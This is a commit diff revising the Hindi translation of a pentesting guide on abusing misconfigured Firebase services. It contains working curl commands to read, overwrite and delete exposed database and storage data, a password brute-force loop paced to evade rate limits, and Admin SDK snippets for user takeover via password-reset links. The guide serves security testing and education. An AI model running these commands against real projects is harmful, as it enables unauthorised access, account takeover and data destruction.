Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

2025-12-26 04:41:55 -08:00 · 2025-12-07 15:56:08 +00:00
parent dab7835700
commit 92ae16b5c5
2 changed files with 301 additions and 264 deletions
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md
@@ -4,27 +4,28 @@

 ## Firebase

-### Unauthenticated access to Firebase Realtime Database
-इस हमले को अंजाम देने के लिए हमलावर को किसी विशेष Firebase permissions की आवश्यकता नहीं होती। इसके लिए केवल यह ज़रूरी है कि Firebase Realtime Database की security rules में कमजोर कॉन्फ़िगरेशन हो, जहाँ नियम `.read: true` या `.write: true` पर सेट हों, जिससे सार्वजनिक read या write एक्सेस की अनुमति मिलती है।
+### Firebase Realtime Database में बिना प्रमाणीकरण के एक्सेस
+एक हमलावर को इस हमले को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। केवल यह आवश्यक है कि Firebase Realtime Database security rules में एक कमजोर कॉन्फ़िगरेशन हो, जहाँ नियम `.read: true` या `.write: true` पर सेट हों, जिससे सार्वजनिक पढ़ने या लिखने की अनुमति मिलती है।

-हमलावर को database URL की पहचान करनी होती है, जो आमतौर पर इस फ़ॉर्मैट का होता है: `https://<project-id>.firebaseio.com/`.
+हमलावर को database URL पहचानना होगा, जो आमतौर पर इस फ़ॉर्मेट का होता है: `https://<project-id>.firebaseio.com/`.

-यह URL mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), google-services.json (Android) या GoogleService-Info.plist (iOS) जैसे configuration files का विश्लेषण करके, web applications के source code का निरीक्षण करके, या नेटवर्क ट्रैफ़िक की जाँच करके (ताकि `*.firebaseio.com` डोमेन के लिए किए गए अनुरोध पहचाने जा सकें) पाया जा सकता है।
+यह URL mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), configuration फ़ाइलों के विश्लेषण जैसे google-services.json (Android) या GoogleService-Info.plist (iOS), web applications के source code के निरीक्षण, या network traffic की जाँच करके जहाँ `*.firebaseio.com` domains के लिए requests दिखाई दें, के माध्यम से पाया जा सकता है।

-हमलावर database URL की पहचान कर यह जांचता है कि क्या वह सार्वजनिक रूप से एक्सपोज़्ड है, फिर वह डेटा तक पहुँचता है और संभावित रूप से दुष्ट जानकारी लिखता है।
+हमलावर database URL पहचानकर जाँच करता है कि क्या यह सार्वजनिक रूप से एक्सपोज़्ड है, फिर डेटा तक पहुँचता है और संभावित रूप से दुर्भावनापूर्ण जानकारी लिख सकता है।

-पहले वे यह जांचते हैं कि database read access की अनुमति देता है या नहीं, URL के अंत में `.json` जोड़कर।
+सबसे पहले, वे URL के अंत में `.json` जोड़कर जाँच करते हैं कि डेटाबेस पढ़ने की अनुमति देता है या नहीं।
 ```bash
 curl https://<project-id>-default-rtdb.firebaseio.com/.json
 ```
-यदि response में JSON data या null ("Permission Denied" के बजाय) है, तो database को read access की अनुमति मिलती है। write access की जाँच करने के लिए, attacker Firebase REST API का उपयोग करके एक test write request भेजने का प्रयास कर सकता है।
+यदि response में JSON डेटा या null (बजाए "Permission Denied" के) आता है, तो database read access की अनुमति देता है। write access की जाँच करने के लिए attacker Firebase REST API का उपयोग करके एक test write request भेजने का प्रयास कर सकता है।
 ```bash
 curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
 ```
 यदि ऑपरेशन सफल होता है, तो डेटाबेस को write access भी मिल जाता है।

+
 ### Cloud Firestore में डेटा का खुलासा
-इस हमले को अंजाम देने के लिए attacker को किसी विशेष Firebase permissions की आवश्यकता नहीं होती। इसके लिए केवल इतना आवश्यक है कि Cloud Firestore security rules में कोई vulnerable configuration मौजूद हो जहाँ rules बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। पूर्ण एक्सेस प्रदान करने वाले एक misconfigured rule का उदाहरण है:
+An attacker को इस attack को करने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती। इसके लिए बस यह होना चाहिए कि Cloud Firestore security rules में कोई vulnerable configuration मौजूद हो, जहाँ नियम बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। full access देने वाले misconfigured rule का एक उदाहरण है:
 ```bash
 service cloud.firestore {
 match /databases/{database}/documents/{document=**} {
@@ -32,22 +33,22 @@ allow read, write: if true;
 }
 }
 ```
-यह नियम किसी भी व्यक्ति को बिना किसी प्रतिबंध के सभी दस्तावेज़ पढ़ने और लिखने की अनुमति देता है। Firestore नियम सूक्ष्म होते हैं और प्रत्येक collection और document पर लागू होते हैं, इसलिए किसी विशिष्ट नियम की गलती केवल कुछ collections को ही उजागर कर सकती है।
+यह नियम किसी को भी बिना किसी प्रतिबंध के सभी दस्तावेज़ों को पढ़ने और लिखने की अनुमति देता है। Firestore नियम बहुत सूक्ष्म होते हैं और प्रत्येक collection तथा document पर लागू होते हैं, इसलिए किसी विशिष्ट नियम में त्रुटि केवल कुछ collections को ही उजागर कर सकती है।

-The attacker must identify the Firebase Project ID, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications, or analyzing network traffic to identify requests to firestore.googleapis.com.
-Firestore REST API निम्न प्रारूप का उपयोग करती है:
+हमलावर को Firebase Project ID की पहचान करनी होगी, जो mobile app reverse engineering, google-services.json या GoogleService-Info.plist जैसे configuration files के विश्लेषण, वेब अनुप्रयोगों के source code का निरीक्षण, या firestore.googleapis.com के लिए किए जाने वाले अनुरोधों की पहचान करने हेतु network traffic के विश्लेषण के माध्यम से मिल सकती है।
+The Firestore REST API निम्न प्रारूप का उपयोग करती है:
 ```bash
 https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
 ```
-यदि नियम बिना प्रमाणीकरण के पढ़ने की पहुँच की अनुमति देते हैं, तो हमलावर collections और documents को पढ़ सकता है। पहले, वे एक विशिष्ट collection तक पहुँचने का प्रयास करते हैं:
+यदि नियम unauthenticated read access की अनुमति देते हैं, तो हमलावर collections और documents पढ़ सकता है। सबसे पहले, वे एक विशिष्ट collection तक पहुँचने का प्रयास करते हैं:
 ```bash
 curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
 ```
-यदि response में permission error की जगह JSON documents हैं, तो collection एक्सपोज़्ड है। Attacker सामान्य नाम आज़माकर या application की संरचना का विश्लेषण करके सभी accessible collections को enumerate कर सकता है। किसी specific document तक पहुँचने के लिए:
+यदि प्रतिक्रिया में permission error के बजाय JSON documents शामिल हैं, तो collection उजागर है। attacker सामान्य नाम आज़माकर या application की संरचना का विश्लेषण करके सभी पहुँच योग्य collections को enumerate कर सकता है। किसी विशिष्ट document तक पहुँचने के लिए:
 ```bash
 curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
 ```
-यदि नियम unauthenticated write access की अनुमति देते हैं या मान्यकरण अपर्याप्त है, तो attacker नए documents बना सकता है:
+यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker नए documents बना सकता है:
 ```bash
 curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
 -H "Content-Type: application/json" \
@@ -58,7 +59,7 @@ curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases
 }
 }'
 ```
-किसी मौजूदा दस्तावेज़ को संशोधित करने के लिए PATCH का उपयोग किया जाना चाहिए:
+मौजूदा दस्तावेज़ को संशोधित करने के लिए PATCH का उपयोग करना चाहिए:
 ```bash
 curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
 -H "Content-Type: application/json" \
@@ -68,12 +69,13 @@ curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/database
 }
 }'
 ```
-एक दस्तावेज़ हटाने और denial of service पैदा करने के लिए:
+एक दस्तावेज़ हटाकर denial of service पैदा करने के लिए:
 ```bash
 curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
 ```
-### Firebase Storage में फ़ाइलों का एक्सपोज़र
-एक हमलावर को इस हमले को अंजाम देने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। बस यह आवश्यक है कि Firebase Storage security rules में एक कमजोर configuration मौजूद हो, जहाँ rules बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। Storage rules read और write permissions को स्वतंत्र रूप से नियंत्रित करते हैं, इसलिए किसी rule की गलती सिर्फ read access, सिर्फ write access, या दोनों को प्रकट कर सकती है। पूर्ण access देने वाले misconfigured rule का एक उदाहरण है:
+### Firebase Storage में फ़ाइलों का खुलासा
+
+एक attacker को इस attack को अंजाम देने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती। यह केवल इसलिए पर्याप्त है कि Firebase Storage security rules में कोई कमजोर कॉन्फ़िगरेशन मौजूद हो, जहाँ rules बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। Storage rules read और write permissions को स्वतंत्र रूप से नियंत्रित करते हैं, इसलिए किसी rule की गलती केवल read access, केवल write access, या दोनों को उजागर कर सकती है। एक misconfigured rule का उदाहरण जो full access देता है:
 ```bash
 service cloud.firestore {
 match /databases/{database}/documents/{document=**} {
@@ -81,45 +83,45 @@ allow read, write: if true;
 }
 }
 ```
-यह नियम सभी documents पर बिना किसी प्रतिबंध के read और write access की अनुमति देता है। Firestore rules granular होते हैं और per collection तथा per document लागू किए जाते हैं, इसलिए किसी specific rule की गलती केवल कुछ collections को ही एक्सपोज़ कर सकती है। Attacker को Firebase Project ID पहचानना होगा, जो mobile application reverse engineering, configuration files जैसे google-services.json या GoogleService-Info.plist के विश्लेषण, web application के source code के निरीक्षण, या network traffic analysis के माध्यम से firestore.googleapis.com को किए गए requests की पहचान करके पाया जा सकता है।
+यह नियम किसी भी प्रतिबंध के बिना सभी documents के लिए read और write एक्सेस की अनुमति देता है। Firestore rules granular होते हैं और उन्हें प्रति collection और प्रति document लागू किया जाता है, इसलिए किसी विशिष्ट नियम की गलती केवल कुछ collections को उजागर कर सकती है। हमलावर को Firebase Project ID की पहचान करनी होगी, जिसे mobile application reverse engineering, configuration फाइलों के विश्लेषण (जैसे google-services.json या GoogleService-Info.plist), वेब एप्लिकेशन के स्रोत कोड का निरीक्षण, या नेटवर्क ट्रैफ़िक विश्लेषण जिसके माध्यम से firestore.googleapis.com पर किए गए requests की पहचान हो सके, के ज़रिए पाया जा सकता है।

-The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
+Firestore REST API निम्न प्रारूप का उपयोग करता है:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`

-यदि rules unauthenticated read access की अनुमति देती हैं, तो attacker collections और documents को पढ़ सकता है। सबसे पहले, वे किसी specific collection तक पहुँचने का प्रयास करते हैं।
+यदि rules unauthenticated read access की अनुमति देते हैं, तो हमलावर collections और documents को पढ़ सकता है। पहले वे किसी विशिष्ट collection तक पहुँचने का प्रयास करते हैं।
 ```bash
 curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
 curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
 ```
-यदि प्रतिक्रिया में permission error की बजाय फाइलों की सूची दिखाई देती है, तो फ़ाइल एक्सपोज़्ड है। The attacker फ़ाइलों का path निर्दिष्ट करके उनकी सामग्री देख सकता है:
+यदि response में permission error की बजाय files की सूची है, तो file exposed है। Attacker files की सामग्री उनका path निर्दिष्ट करके देख सकता है:
 ```bash
 curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
 ```
-यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker malicious files अपलोड कर सकता है। REST API के माध्यम से फ़ाइल अपलोड करने के लिए:
+यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker malicious files upload कर सकता है। REST API के माध्यम से फाइल upload करने के लिए:
 ```bash
 curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
 -H "Content-Type: <content-type>" \
 --data-binary @<local-file>
 ```
-हमलावर code shells, malware payloads, या बड़ी फ़ाइलें अपलोड कर सकता है जिससे denial of service हो सकता है। यदि एप्लिकेशन अपलोड की गई फ़ाइलों को प्रोसेस या execute करता है, तो हमलावर remote code execution हासिल कर सकता है। फ़ाइलें हटाने और denial of service पैदा करने के लिए:
+हमलावर code shells, malware payloads, या बड़ी फ़ाइलें अपलोड करके denial of service कर सकता है। यदि एप्लिकेशन अपलोड की गई फ़ाइलों को प्रोसेस या execute करता है, तो हमलावर remote code execution प्राप्त कर सकता है। फ़ाइलें हटाकर और denial of service पैदा करने के लिए:
 ```bash
 curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
 ```
-### सार्वजनिक Firebase Cloud Functions का आह्वान
-एक हमलावर को इस समस्या का शोषण करने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती; केवल यह आवश्यक है कि एक Cloud Function HTTP के माध्यम से बिना प्रमाणीकरण के सार्वजनिक रूप से पहुँच योग्य हो।
+### सार्वजनिक Firebase Cloud Functions का इनवोकेशन
+एक हमलावर को इस समस्या का शोषण करने के लिए किसी विशेष Firebase अनुमतियों की आवश्यकता नहीं होती; इसके लिए केवल यह आवश्यक है कि एक Cloud Function HTTP पर बिना प्रमाणीकरण के सार्वजनिक रूप से उपलब्ध हो।

-कोई फ़ंक्शन तब vulnerable होता है जब वह असुरक्षित रूप से कॉन्फ़िगर किया गया हो:
+एक फ़ंक्शन असुरक्षित रूप से कॉन्फ़िगर होने पर संवेदनशील होता है:

- यह functions.https.onRequest का उपयोग करता है, जो प्रमाणीकरण लागू नहीं करता (onCall functions के विपरीत)।
- फ़ंक्शन का कोड user authentication को validate नहीं करता (उदा., request.auth या context.auth की कोई जाँच नहीं)।
- फ़ंक्शन IAM में सार्वजनिक रूप से पहुँच योग्य है, अर्थात् allUsers के पास roles/cloudfunctions.invoker role है। यह HTTP functions के लिए default व्यवहार है जब तक developer access को प्रतिबंधित न करे।
+- यह `functions.https.onRequest` का उपयोग करता है, जो प्रमाणीकरण लागू नहीं करता (onCall functions के विपरीत)।
+- फ़ंक्शन का कोड user authentication को validate नहीं करता (उदाहरण: `request.auth` या `context.auth` के कोई चेक नहीं)।
+- फ़ंक्शन IAM में सार्वजनिक रूप से उपलब्ध है, जिसका अर्थ है कि `allUsers` के पास `roles/cloudfunctions.invoker` रोल है। यह HTTP फ़ंक्शन्स के लिए डिफ़ॉल्ट व्यवहार है जब तक डेवलपर ने पहुँच सीमित न की हो।

 Firebase HTTP Cloud Functions निम्नलिखित URLs के माध्यम से एक्सपोज़ होते हैं:

 - `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
 - `https://<project-id>.web.app/<function-name>` (when integrated with Firebase Hosting)

-एक हमलावर इन URLs को source code analysis, network traffic inspection, enumeration tools, या mobile app reverse engineering के माध्यम से खोज सकता है।  
-यदि फ़ंक्शन सार्वजनिक रूप से एक्सपोज़ और बिना प्रमाणीकरण के उपलब्ध है, तो हमलावर इसे credentials के बिना सीधे invoke कर सकता है।
+एक हमलावर इन URLs को source code analysis, network traffic inspection, enumeration tools, या mobile app reverse engineering के माध्यम से खोज सकता है।
+यदि फ़ंक्शन सार्वजनिक रूप से एक्सपोज़ और बिना प्रमाणीकरण के है, तो हमलावर इसे सीधे बिना क्रेडेंशियल्स के invoke कर सकता है।
 ```bash
 # Invoke public HTTP function with GET
 curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
@@ -128,20 +130,22 @@ curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
 -H "Content-Type: application/json" \
 -d '{"param1": "value1", "param2": "value2"}'
 ```
-यदि फ़ंक्शन इनपुट्स का सही तरीके से सत्यापन नहीं करता है, तो अटैकर अन्य हमले आज़मा सकता है जैसे code injection या command injection।
+यदि फ़ंक्शन इनपुट को सही ढंग से सत्यापित नहीं करता है, तो हमलावर अन्य हमलों का प्रयास कर सकता है जैसे code injection या command injection।

-### Brute-force attack against Firebase Authentication (कमज़ोर पासवर्ड पॉलिसी के साथ)
-एक अटैकर को इस हमले को करने के लिए किसी विशेष Firebase permissions की ज़रूरत नहीं होती। बस इतना चाहिए कि Firebase API Key mobile या web applications में उजागर हो, और password policy को डिफ़ॉल्ट से अधिक सख्त आवश्यकताओं के साथ कॉन्फ़िगर न किया गया हो।
+### Brute-force attack against Firebase Authentication with a weak password policy
+एक हमलावर को इस हमले को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। इसके लिए केवल यह आवश्यक है कि Firebase API Key मोबाइल या वेब applications में एक्सपोज़ हो और पासवर्ड नीति डिफ़ॉल्ट से कठोर आवश्यकताओं के साथ कॉन्फ़िगर न की गई हो।

-अटैकर को Firebase API Key की पहचान करनी होगी, जो mobile app reverse engineering, configuration files (जैसे google-services.json या GoogleService-Info.plist) का विश्लेषण, web applications के source code का निरीक्षण (उदा., bootstrap.js में), या network traffic का विश्लेषण करके मिली जा सकती है।
+हमलावर को Firebase API Key की पहचान करनी होगी, जिसे mobile app reverse engineering, configuration files जैसे google-services.json या GoogleService-Info.plist के विश्लेषण, वेब applications के source code (उदा., bootstrap.js) का निरीक्षण, या नेटवर्क ट्रैफ़िक के विश्लेषण के माध्यम से पाया जा सकता है।

-Firebase Authentication की REST API ईमेल और पासवर्ड से authenticate करने के लिए निम्न endpoint का उपयोग करती है: `https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
+Firebase Authentication’s REST API निम्नलिखित endpoint का उपयोग करता है:
+`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
+email और password से authenticate करने के लिए।

-यदि Email Enumeration Protection disabled है, तो API error responses यह प्रकट कर सकती हैं कि कोई ईमेल सिस्टम में मौजूद है या नहीं (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), जिससे अटैकर्स password guessing से पहले users का enumeration कर सकते हैं। जब यह protection enabled होता है, तो API nonexistent emails और incorrect passwords दोनों के लिए समान error message लौटाती है, जिससे user enumeration रोका जाता है।
+यदि Email Enumeration Protection disabled है, तो API error responses यह उजागर कर सकते हैं कि कोई email सिस्टम में मौजूद है या नहीं (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), जो हमलावरों को password guessing से पहले users को enumerate करने की अनुमति देता है। जब यह protection enabled होता है, तो API दोनों nonexistent emails और incorrect passwords के लिए एक ही error संदेश लौटाता है, जिससे user enumeration रोका जाता है।

-यह ध्यान रखना ज़रूरी है कि Firebase Authentication rate limiting लागू करता है, जो बहुत कम समय में बहुत सारे authentication प्रयास होने पर requests को ब्लॉक कर सकता है। इसलिए, अटैकर को rate-limited होने से बचने के लिए प्रयासों के बीच देरी डालनी होगी।
+यह ध्यान देने योग्य है कि Firebase Authentication rate limiting को लागू करता है, जो बहुत अधिक authentication प्रयासों के कारण कम समय में requests को ब्लॉक कर सकता है। इसलिए, हमलावर को rate-limited होने से बचने के लिए प्रयासों के बीच विलंब डालना होगा।

-अटैकर API Key की पहचान करता है और ज्ञात खातों के खिलाफ कई पासवर्ड के साथ authentication प्रयास करता है। यदि Email Enumeration Protection disabled है, तो अटैकर error responses का विश्लेषण करके मौजूद users को enumerate कर सकता है:
+हमलावर API Key की पहचान करता है और ज्ञात खातों के खिलाफ कई पासवर्ड के साथ authentication प्रयास करता है। यदि Email Enumeration Protection disabled है, तो हमलावर error responses का विश्लेषण करके मौजूदा users को enumerate कर सकता है:
 ```bash
 # Attempt authentication with a known email and an incorrect password
 curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
@@ -152,7 +156,7 @@ curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassw
 "returnSecureToken": true
 }'
 ```
-यदि रिस्पॉन्स में EMAIL_NOT_FOUND आता है, तो ईमेल सिस्टम में मौजूद नहीं है। यदि इसमें INVALID_PASSWORD आता है, तो ईमेल मौजूद है लेकिन पासवर्ड गलत है, जो पुष्टि करता है कि user पंजीकृत है। एक बार valid user की पहचान हो जाने पर, attacker brute-force प्रयास कर सकता है। Firebase Authentication की rate-limiting mechanisms से बचने के लिए प्रयासों के बीच विराम रखना महत्वपूर्ण है:
+यदि प्रतिक्रिया में EMAIL_NOT_FOUND आता है, तो ईमेल सिस्टम में मौजूद नहीं है। यदि इसमें INVALID_PASSWORD आता है, तो ईमेल मौजूद है लेकिन पासवर्ड गलत है, जिससे पुष्टि होती है कि उपयोगकर्ता पंजीकृत है। एक बार वैध उपयोगकर्ता की पहचान हो जाने पर, हमलावर brute-force प्रयास कर सकता है। Firebase Authentication’s rate-limiting mechanisms से बचने के लिए प्रयासों के बीच विराम रखना महत्वपूर्ण है:
 ```bash
 counter=1
 for password in $(cat wordlist.txt); do
@@ -171,83 +175,22 @@ sleep 1
 counter=$((counter + 1))
 done
 ```
-With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.
+डिफ़ॉल्ट पासवर्ड पॉलिसी (न्यूनतम 6 अक्षर, कोई जटिलता आवश्यकताएँ नहीं) के साथ, हमलावर सभी संभावित 6-अक्षर वाले पासवर्ड संयोजनों को आज़मा सकता है, जो कि कड़ी पासवर्ड नीतियों की तुलना में अपेक्षाकृत छोटा खोज स्थान प्रस्तुत करता है।

 ### Firebase Authentication में उपयोगकर्ता प्रबंधन

-इस हमले को करने के लिए हमलावर को विशिष्ट Firebase Authentication permissions की आवश्यकता होती है। आवश्यक permissions हैं:
-
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to retrieve user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
-
-ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources के लिए पूर्ण read/write access प्रदान करता है। ये higher-level roles जैसे `roles/firebase.developAdmin` (जो सभी `firebaseauth.*` permissions को शामिल करता है) और `roles/firebase.admin` (सभी Firebase services के लिए पूर्ण पहुँच) में भी शामिल हैं।
-
-Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (JSON file) तक पहुँच की आवश्यकता होगी, जो kompromised systems, publicly exposed code repositories, kompromised CI/CD systems, या उन developer accounts के kompromised होने के माध्यम से मिल सकते हैं जिनके पास ये credentials हों।
-
-पहला कदम service account credentials का उपयोग करते हुए Firebase Admin SDK को configure करना है।
-```bash
-import firebase_admin
-from firebase_admin import credentials, auth
-cred = credentials.Certificate('path/to/serviceAccountKey.json')
-firebase_admin.initialize_app(cred)
-```
-victim’s email का उपयोग करके malicious user बनाने के लिए attacker Firebase Admin SDK का उपयोग करके उस email के तहत एक नया अकाउंट बनाने का प्रयास करेगा।
-```bash
-user = auth.create_user(
-email='victima@example.com',
-email_verified=False,
-password='password123',
-display_name='Usuario Malicioso',
-disabled=False
-)
-print(f'Usuario creado: {user.uid}')
-```
-मौजूदा उपयोगकर्ता को संशोधित करने के लिए, हमलावर ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं जैसे फ़ील्ड अपडेट करेगा।
-```bash
-user = auth.update_user(
-uid,
-email='nuevo-email@example.com',
-email_verified=True,
-disabled=False
-)
-print(f'Usuario actualizado: {user.uid}')
-```
-एक user account को delete करके और denial of service पैदा करने के लिए, attacker user को पूरी तरह से हटाने का request जारी करेगा।
-```bash
-auth.delete_user(uid)
-print('Usuario eliminado exitosamente')
-```
-एक हमलावर मौजूदा उपयोगकर्ताओं की जानकारी उनके UID या ईमेल पते का अनुरोध करके भी प्राप्त कर सकता है।
-```bash
-user = auth.get_user(uid)
-print(f'Información del usuario: {user.uid}, {user.email}')
-user = auth.get_user_by_email('usuario@example.com')
-print(f'Información del usuario: {user.uid}, {user.email}')
-```
-इसके अलावा, हमलावर verification links या password-reset links जेनरेट करके किसी उपयोगकर्ता का password बदलकर उसके खाते तक पहुँच हासिल कर सकता है।
-```bash
-link = auth.generate_email_verification_link(email)
-print(f'Link de verificación: {link}')
-link = auth.generate_password_reset_link(email)
-print(f'Link de reset: {link}')
-```
-### Firebase Authentication में उपयोगकर्ता प्रबंधन
-एक हमलावर को इस हमले को अंजाम देने के लिए Firebase Authentication के विशिष्ट अनुमतियों की आवश्यकता होती है। आवश्यक अनुमतियाँ हैं:
+इस हमले को अंजाम देने के लिए हमलावर को Firebase Authentication के कुछ विशिष्ट permissions की आवश्यकता होती है। आवश्यक permissions हैं:

 - `firebaseauth.users.create` उपयोगकर्ता बनाने के लिए
- `firebaseauth.users.update` मौजूदा उपयोगकर्ताओं को संशोधित करने के लिए
+- `firebaseauth.users.update` मौजूदा उपयोगकर्ताओं में संशोधन करने के लिए
 - `firebaseauth.users.delete` उपयोगकर्ताओं को हटाने के लिए
 - `firebaseauth.users.get` उपयोगकर्ता जानकारी प्राप्त करने के लिए
 - `firebaseauth.users.sendEmail` उपयोगकर्ताओं को ईमेल भेजने के लिए
- `firebaseauth.users.createSession` उपयोगकर्ता सत्र बनाने के लिए
+- `firebaseauth.users.createSession` उपयोगकर्ता सेशन्स बनाने के लिए

-ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources के लिए पूर्ण पढ़ने/लिखने की पहुँच प्रदान करता है। ये higher-level roles का भी हिस्सा हैं, जैसे `roles/firebase.developAdmin` (जिसमें सभी `firebaseauth.*` permissions शामिल हैं) और `roles/firebase.admin` (सभी Firebase सेवाओं के लिए पूर्ण पहुँच)।
+ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication संसाधनों के लिए पूरा read/write एक्सेस प्रदान करता है। ये उच्च-स्तरीय roles जैसे roles/firebase.developAdmin (जिसमें सभी firebaseauth.* permissions शामिल हैं) और roles/firebase.admin (सभी Firebase सेवाओं के लिए पूर्ण एक्सेस) में भी शामिल होते हैं।

-Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (एक JSON फ़ाइल) तक पहुँच की आवश्यकता होगी, जिसे समझौता किए गए सिस्टम्स, सार्वजनिक रूप से एक्सपोज़ कोड रिपोजिटरी, समझौता किए गए CI/CD वातावरण, या उन डेवलपर अकाउंट्स के समझौते के माध्यम से प्राप्त किया जा सकता है जिनके पास ये credentials होते हैं।
+Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (JSON file) तक पहुँच की आवश्यकता होगी, जो कि समझौता किए गए सिस्टमों, सार्वजनिक रूप से एक्सपोज़ किए गए कोड रिपॉज़िटरीज़, समझौता किए गए CI/CD सिस्टमों, या उन डेवलपर खातों के समझौते के माध्यम से मिल सकते हैं जिनके पास ये credentials होते हैं।

 पहला कदम service account credentials का उपयोग करके Firebase Admin SDK को कॉन्फ़िगर करना है।
 ```bash
@@ -256,7 +199,7 @@ from firebase_admin import credentials, auth
 cred = credentials.Certificate('path/to/serviceAccountKey.json')
 firebase_admin.initialize_app(cred)
 ```
-पीड़ित के ईमेल का उपयोग करके एक दुर्भावनापूर्ण उपयोगकर्ता बनाने के लिए, हमलावर उस ईमेल के साथ एक नया उपयोगकर्ता खाता बनाने का प्रयास करेगा और अपना पासवर्ड तथा प्रोफ़ाइल जानकारी सेट करेगा।
+किसी victim के email का उपयोग करके एक malicious user बनाने के लिए, attacker Firebase Admin SDK का उपयोग करके उस email के तहत एक नया account बनाने का प्रयास करेगा।
 ```bash
 user = auth.create_user(
 email='victima@example.com',
@@ -267,7 +210,7 @@ disabled=False
 )
 print(f'Usuario creado: {user.uid}')
 ```
-किसी मौजूदा उपयोगकर्ता को संशोधित करने के लिए, attacker उन फ़ील्ड्स को बदल देगा जैसे कि ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं।
+किसी मौजूदा उपयोगकर्ता को संशोधित करने के लिए, attacker ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं जैसी फ़ील्ड्स को अपडेट करेगा।
 ```bash
 user = auth.update_user(
 uid,
@@ -277,36 +220,97 @@ disabled=False
 )
 print(f'Usuario actualizado: {user.uid}')
 ```
-किसी उपयोगकर्ता खाते को हटाने के लिए—जो प्रभावी रूप से एक denial of service पैदा करता है—attacker उस उपयोगकर्ता को स्थायी रूप से हटाने का अनुरोध करेगा।
+user account को delete कर के denial of service उत्पन्न करने के लिए, attacker user को पूरी तरह remove करने का request भेजेगा।
 ```bash
 auth.delete_user(uid)
 print('Usuario eliminado exitosamente')
 ```
-हमलावर UID या email address के माध्यम से उपयोगकर्ता विवरण का अनुरोध करके मौजूदा उपयोगकर्ताओं के बारे में जानकारी भी प्राप्त कर सकता है, जैसे उनके UID या email।
+हमलावर मौजूदा उपयोगकर्ताओं की जानकारी उनके UID या ईमेल पते का अनुरोध करके भी प्राप्त कर सकता है।
 ```bash
 user = auth.get_user(uid)
 print(f'Información del usuario: {user.uid}, {user.email}')
 user = auth.get_user_by_email('usuario@example.com')
 print(f'Información del usuario: {user.uid}, {user.email}')
 ```
-इसके अलावा, हमलावर सत्यापन लिंक या पासवर्ड-रीसेट लिंक उत्पन्न कर सकता है, जिससे वह किसी उपयोगकर्ता का पासवर्ड बदलकर खाते पर नियंत्रण हासिल कर सकता है।
